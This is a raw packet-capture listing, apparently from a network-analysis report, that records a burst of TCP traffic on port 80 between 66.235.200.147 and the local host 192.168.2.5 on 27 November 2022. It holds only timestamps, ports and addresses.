Nov 27, 2022 04:36:40.051661015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051676989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051683903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051693916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051702023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051709890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051726103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051733971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051743031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051759958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051767111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051776886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051793098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051815987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051817894 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051837921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051843882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051856995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051876068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051879883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051902056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051922083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051930904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051944971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051966906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.051968098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.051986933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052001953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052009106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052031994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052051067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052052975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052073002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052089930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052095890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052107096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052124023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052130938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052140951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052158117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052164078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052174091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052191019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052201033 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052206993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052222967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052223921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052241087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052257061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052273989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052280903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052289963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052314043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052334070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052576065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052758932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052779913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052799940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052822113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052831888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052840948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052865028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052869081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052885056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052903891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052925110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052942038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.052947044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052966118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.052989006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053006887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053008080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053025007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053040981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053049088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053057909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053071022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053075075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053091049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053103924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053107977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053123951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053138018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053139925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053157091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053164005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053215981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053555012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053725004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053769112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053790092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053812027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053845882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053869963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053889036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053893089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053914070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053931952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053935051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053956985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053973913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.053986073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.053997040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054018974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054019928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054039955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054059029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054060936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054083109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054102898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054106951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054119110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054135084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054141998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054151058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054167032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054177046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054183960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054200888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054223061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054275990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054481030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.054924965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.054980993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.055007935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.055032969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.055059910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.055085897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.055087090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.055116892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.055147886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.069608927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069664955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069704056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069736958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069766998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069793940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.069797993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069830894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069854975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.069860935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069886923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.069894075 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069907904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.069927931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069962978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.069977045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.069996119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070027113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070039988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070058107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070089102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070101023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070111990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070142031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070152998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070172071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070203066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070210934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070235014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070266008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070271969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070297003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070327997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070336103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070358038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070388079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070395947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070417881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070447922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070457935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070478916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070508957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070522070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070542097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070571899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070583105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070605040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070635080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070645094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070664883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070696115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070704937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070727110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070756912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070765972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070790052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070820093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070830107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070849895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070894003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.070914030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070954084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.070997000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071018934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071026087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071043015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071063042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071068048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071093082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071109056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071118116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071144104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071163893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071166992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071192026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071211100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071217060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071240902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071259022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071264029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071286917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071300983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071310043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071332932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071350098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071356058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071379900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071393013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071403027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071427107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071440935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071451902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071491003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071674109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071716070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071739912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071755886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071764946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071789026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071808100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071814060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071836948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071856022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071861029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071885109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071899891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071907997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071932077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071949959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.071957111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071981907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.071995974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072005987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072027922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072048903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072052002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072077036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072096109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072098970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072122097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072139025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072144985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072168112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072191000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072192907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072216988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072240114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072640896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072666883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072690010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072690964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072715044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072736979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072738886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072761059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072772980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072788000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072812080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072824955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072837114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072860956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072874069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072885036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072909117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072923899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072932005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072956085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.072973967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.072978973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073003054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073016882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073025942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073050022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073071957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073074102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073096991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073117971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073120117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073143959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073158979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073165894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073206902 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073540926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073565960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073591948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073613882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073616028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073641062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073661089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073666096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073690891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073707104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073714018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073736906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073755026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073760986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073786974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073801994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073811054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073833942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073852062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073858023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073882103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073898077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073904037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073928118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073954105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.073968887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.073998928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074011087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.074028969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074058056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074068069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.074090004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074117899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074127913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.074490070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074521065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074532986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.074552059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074583054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.074587107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089240074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089288950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089317083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089353085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089381933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:40.089396954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:40.089409113 CET	80	49705	66.235.200.147	192.168.2.5
